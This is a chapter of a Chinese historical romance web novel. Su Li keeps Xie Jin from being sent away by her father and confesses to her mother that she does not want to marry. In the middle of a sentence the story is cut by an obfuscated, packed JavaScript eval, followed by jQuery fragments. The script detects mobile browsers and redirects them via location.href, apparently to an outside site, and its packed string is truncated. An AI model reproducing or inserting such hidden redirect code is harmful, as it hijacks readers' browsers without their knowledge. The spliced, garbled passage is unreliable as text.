荒诞的闹剧终于落下帷幕,等着看热闹的人也逐渐散去。
苏荔搀扶着林雁,谢谨则是推着苏守真的轮椅,四人一起回到房中。
苏荔这才有时间询问苏守真的情况,“阿爹,你的腿怎么样,有没有伤到?”。
她担心在方才混乱的时候没有及时照顾到苏守真。
“阿爹没事,说不定过几日都可以站起来了。”苏守真笑着摸了摸自己的腿,打趣道。
苏荔久违的露出来一抹轻松的笑容。
“苏苏,冯兰和赵启为何会盯上你?”林雁从昨日便在想这件事。
冯兰倒是可以解释,苏苏这些日子经常要去城中,在村中一走一过难免会被冯兰撞见。
林雁原以为赵启是见过苏荔的,所以才会上冯兰上门提亲。可是今日的赵启表现说明他却并不认识苏荔,显然在之前也没见过。
但是他们为什么会盯上苏荔?
不仅编造了一个故事,甚至还拿着莫须有的手帕污蔑苏荔。就算在被苏荔拆穿谎言后,也仍在挣扎,似乎是非要苏荔不可。
预谋的人是谁尚未可知,但可以确定此人一定是熟悉苏家的人,或者说是苏荔的亲近之人。因为他们拿出的手帕样式确实是苏荔所用,不经对比倒是很容易糊弄过去。
苏荔垂眼思索着。
可是无论苏荔如何绞尽脑汁,脑海中都没有一点儿记忆。关于手帕苏荔也仅仅记得是林雁交予原主的,可有谁还见过却是没有半分印象。
这种感觉很不好,有些事似乎在隐隐失控,她渴望抓住并制止。
看着苏荔的眉头皱起,脸上的忧愁尽显。林雁俯身握住苏荔的手,安慰道,“不要再想了。苏苏放心,有阿爹阿娘在,绝不会让他们欺负了你。”
“嗯。”苏荔表面乖巧答应,内心却在谋划搬去城中的事宜。
原本还没有如此急迫,只不过赵启临走前的眼神苏荔没有错过,听他们说赵启甚至和官府有勾结,在苏家还没站稳脚跟前,是惹不起的。
村中偏僻人烟稀少,官府倒是可以睁一只眼闭一只眼,被赵启收买。要是在城中就不一样了,再嚣张也要顾忌名声,考虑后果。
苏荔白日里都不在家中,只剩苏守真和林雁在家,毕竟不是年轻之辈,她不能去冒险,让他们有一丝的闪失。
就在苏荔沉浸在自己的世界里时,突然,她在余光里看到谢谨站起身来。苏荔疑惑地看向谢谨,下意识地拉住谢谨的袖子,脱口而出,“怎么了?”
谢谨似乎是没料到苏荔会突然上手,一时愣住没有讲话。
苏守真和林雁看到苏荔的动作后也被惊到无言。
此刻所有人都被定格了一般,一动不动。
“咳咳。”眼见苏荔还没有放手的意思,林雁看得头疼,于是非常刻意地发出声音提醒她。
苏荔这才后知后觉自己的动作有些唐突,尴尬地放下手。
林雁猜到苏荔刚刚许是没有听见他们的谈话,于是主动出声解释道,“苏苏,我和你阿爹想要与你商量些事情。谢谨,先让他回避回避。”
“何事?”自从谢谨来了之后,几乎没有什么事会避开谢谨商议。现在单独支开谢谨,还是在发生今日之事的情况下,其目的不言而喻。
林雁没有回应苏荔的疑问,或者说不知道该如何去解释。
沉默在今日格外频繁的出没。
坐在轮椅上的苏守真先是看了眼苏荔,然后将视线移到谢谨身上说道,“是家事,谢谨他不好参与。”
苏守真的态度已经明了,谢谨也知道接下来的谈话定是和他有关,且他不能在场,于是看了眼苏荔后转身离开。只是他刚迈出一步,苏荔又一次地伸手拉住他。
“等等,阿爹和阿娘要说的事,可是有关我和谢谨之间的传言?”苏荔一边紧紧拽住谢谨的袖口不放,一边对苏守真和林雁说道。
苏荔此话一出,打了所有人一个措手不及,三人脸上的表情可谓是各有各有精彩。
“我正好也有话和阿爹阿娘说,谢谨留下一起吧。”谢谨被苏荔强势地拽了回去。
即将坦白的苏荔,不知为何开始莫名地心虚,她低着头,不敢去看苏守真和林雁。
她在心中暗骂自己不争气,明明和谢谨商量对策的时候自信满满,现在真枪实弹上阵怎么就怂了。
就在苏荔深呼吸做好了心理建设,准备好面对接下来的‘狂风暴雨’的时候。
一旁的谢谨打断了她的节奏。
“伯父,伯母,谢谨有罪,是谢谨有愧于苏家的救命恩情。”苏荔看着谢谨站在那里,无比认真的在认罪。
为什么谢谨说的话她听不懂。
认罪?
认什么罪?
接下来她应该说什么?苏荔陷入了巨大的纠结之中,她不知道是应该阻止谢谨还是顺着谢谨的话说下去。
因为计划里根本没有这段啊?
苏荔面对冯兰和赵启的无赖纠缠时依旧可以保持淡定,但是此刻她崩溃了。
真是很讨厌自由发挥的人,就算发挥也要告知她啊。
苏荔拼命朝着谢谨使眼色,动静大到林雁都注意到了,可是谢谨像是没发现一样依旧维持着同样的姿势,视线都没有挪动分毫。
“苏苏,你眼睛怎么了?”林雁的真诚问话彻底把苏荔问住。
“呵,没事的阿娘,只是不小心迷了眼睛,现在已经好了。”苏荔假模假样的捂了下眼睛。
苏守真没有被苏荔和林雁的插曲打扰到,他看向谢谨审视的目光中带有不易觉察的怒意。
“你这话是何意?又何罪之有啊?”苏守真严肃地问道。
“谢某对苏姑娘心生爱慕,此为罪一。因谢某致使苏姑娘无端遭人非议,此为罪二。谢某愧对伯父伯母的信任与嘱托,此为罪三。”谢谨说得极为认真,好像一切都是事实一样。
知道真相的苏荔都一脸懵懂,何况是苏守真和林雁了。
林雁因为昨日撞见苏荔和谢谨有意地“眉来眼去”,现在神情复杂的在苏荔和谢谨之间来回扫视。
林雁的反应是在苏荔的预料之中,但是苏守真不是,他格外地冷静,一言不发。
“既然如此,你便自行离开吧。”沉默许久,苏守真突然说道。
“阿爹。”苏荔有些着急,事情的发展已经彻底不在计划之中了。
林雁也惊讶地看向苏守真,她完全没想到苏守真会直接将谢谨赶走,甚至连辩解的机会都没给他留下。
“感谢你这段日子对小女的照顾,日后也不要再相见了。”苏守真格外地坚持,连苏荔都没有动摇他的决定。
“阿爹,你不能赶他走。”苏荔见苏守真看都不看她一眼,她只得一个跨步就站在谢谨身前。
“苏苏听话。”苏守真是第一次用训诫的语气对苏荔说道,他的眼神也是带着苏荔从未见过的冷漠。
“阿爹,有罪的不止谢谨一人,要罚就连我一起罚吧,但就是不能让谢谨离开。”苏荔急得脑袋一热,就这么直直地跪了下去。
站在身后的谢谨立即就伸出手想要将苏荔扶起来,手已经托在手臂上,却被苏荔抬臂躲开。
苏荔行事很久没有如此冲动了,反正等她察觉膝上疼痛时已经晚了。她事真的将苏守真和林雁当成至亲的人,所以在触及苏守真的冷漠时才会手足无措。
可是她不得不这么做。
总不能真将谢谨赶了出去,说到底谢谨也是为了她,她总不能落井下石。
未免太不地道了。
“你说什么?”苏守真简直不敢相信眼前的一切,声音也陡然拔高。
苏荔却不再言语,只是低着头跪在那里,直到林雁出现打破这一僵局。
“好了,都是一家人怎么闹成这样。”
“苏苏,快起来,别跪着地上多凉啊。”林雁走上前心疼的扶起苏荔。
苏荔没有立马起身,而是抬头望着苏守真。
“行了,行了。谢谨留下,你不许再跪着了。”苏守真最终还是不忍心,不情愿地说着。
“谢谢阿爹,谢谢阿娘。”
苏荔这是第一次下跪,没有控制好力度,跪的太过用力。虽然有林雁搀扶,但是她还是在最后踉跄了下,幸好谢谨及时伸手扶住了她。
“今日也累了,阿娘扶你回房间休息。”林雁在苏荔站稳后说道,这句话是对苏守真说的。
“你阿爹那里我会去解释,你先随我回去。”然后林雁低声在苏荔的耳边说道。
“好。”
苏荔在林雁的搀扶下缓步向门外移动着,她磕到了右膝盖,不敢太用力,导致走路都一轻一重。
她现在后悔了,真的。
这腿要是真磕坏了可怎么办啊,要是影响她走路,这不是在耽误她挣钱吗?
谢谨和银子。
当然果断选银子啊!
林雁将苏荔扶到床榻上坐着,然后自己也坐在旁边,把苏荔的腿放在自己的膝上,轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449533|168274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻揉着受伤的地方。
片刻后,林雁才开口说,“苏苏你和阿娘说实话,与谢谨到底是什么关系?”
“就是刚刚说过的那样。”现在房中只有她们两人,苏荔底气不足,说话的声音也极小。
“阿娘想听实话,不许骗阿娘。”林雁显然没有苏守真那般轻易的相信。
苏荔本就心虚,方才的一番话都是在情急之下才说出来的,现在让她再说一次,恐怕会是说多错多。
苏荔小心翼翼地看向林雁,只一眼她便什么都明白了。
“阿娘是何时发现的?”
苏荔不由得好奇,看林雁洞察一切的表情应该是提前就知晓的,不然怎么会在这么短暂的时间,接受并且帮着她隐瞒呢。
她有一个大胆的猜想,“难道昨晚阿娘就知道了?”
“嗯。”林雁轻轻点头。
“怎么发现的啊?”竟然真是这样,林雁从一开始就没入套。
“你们昨日回来的时候撞见冯兰了吧。”林雁肯定的说着。
“是,但绝不是故意偷听的,是意外。”苏荔不好意思地说道。
“阿娘很庆幸你没有进来,昨日我敢让她进门也是因为想到你不会和她碰上,不然也不会让她这么轻易的进来。”
“可是阿娘还是做错了,这才导致你今天险些被害的名声有损。”
林雁说到最后陷入深深的自责之中。
苏荔连忙开口安慰,“不是阿娘是错,是他们居心叵测,心术不正。就算阿娘昨日将冯兰赶走,不让她进来。他们也不会放弃,总会找到机会的。”
“况且今日多亏了阿娘,要不手帕之事我是解释不清的。”她轻轻抱住林雁的手臂,靠在她的肩上。
林雁拍了拍苏荔的手问道,“那你呢,你和谢谨是怎么一回事?”
苏荔从林雁的身上起来,她的表情尴尬,手脚都不知放在何处了。
说到底会和谢谨达成合作,也是处于对他们不信任,害怕婚事真不由自己做主。可她看着林雁,苏荔不忍心将真相如实相告。
可是,掩盖就真的能过去吗?
苏荔长长的吸气,然后吐出,不仅将体内的浊气排走,也释放了自身的压力。
她缓缓开口道,“阿娘,我不想成亲,我也不喜欢那个媒婆。”
苏荔说完甚至都不敢抬头,要是地上有缝隙,她恨不得马上钻进去。
即使苏荔说得含糊,可林雁还有什么不明白,看着苏荔可怜巴巴地将自己缩成小小的一团,有些好笑地拍了下她的头。
苏荔被这突然一打,下意识抬头神色茫然地看着林雁。
“你呀,阿爹阿娘怎么会逼你呢,我们只希望苏苏嫁一个心爱之人,一个眼里心里都只有苏苏的人。”林雁握住苏荔的双手,直直地看向苏荔的眼底。
苏荔的鼻头酸酸的,整个人扑到林雁的怀里。
“阿娘,谢谢你。”
“还有谢谨。”林雁到底还是提起了谢谨。
“谢谨非走不可吗?”
早知如此,苏荔还不如昨日就和林雁和苏守真坦白不想嫁人,也不至于现在谢谨面临要被赶走的风险。
“你很想他留下?”林雁问道。
“我和他有约定。”苏荔将自己和谢谨的约定说了出来,但是谢谨和县令府的事没有说,只说了他帮助自己脱离婚事。
林雁沉思片刻,才缓缓说道。
“你也知道,外面你俩的传言太盛,你阿爹不知道还好,他如今知道了是不会同意的。”
“而且谢谨当初是你阿爹做主留下的,现在既已影响到你,他才是心中最过意不去的那个人。”
“所以你也不要怪他,他是对你愧疚才会想让谢谨离开,好尽力补救。等谢谨走了,我们一家搬到县上,时间一长,这传言也就淡了,没人会记得。”
“可是,既然你和谢谨并无其他的事,你阿爹那边我去说。再说他刚刚也同意谢谨留下了,只是心里还别扭着,解释清楚就好了。”
苏荔不知道林雁是怎么解释的,只知道第二日的时候苏守真恢复了往日的模样。
不仅是对她,对谢谨也是如此。
虽然过程有些曲折,甚至一度偏离,但是最后的结果比预想的还要好。
只是苏荔发觉,和谢谨的交易貌似她亏了。
谢谨不但不用和她假装“两情相悦”,她甚至还要帮着谢谨混进县令府。
只有苏荔受伤的世界达成了。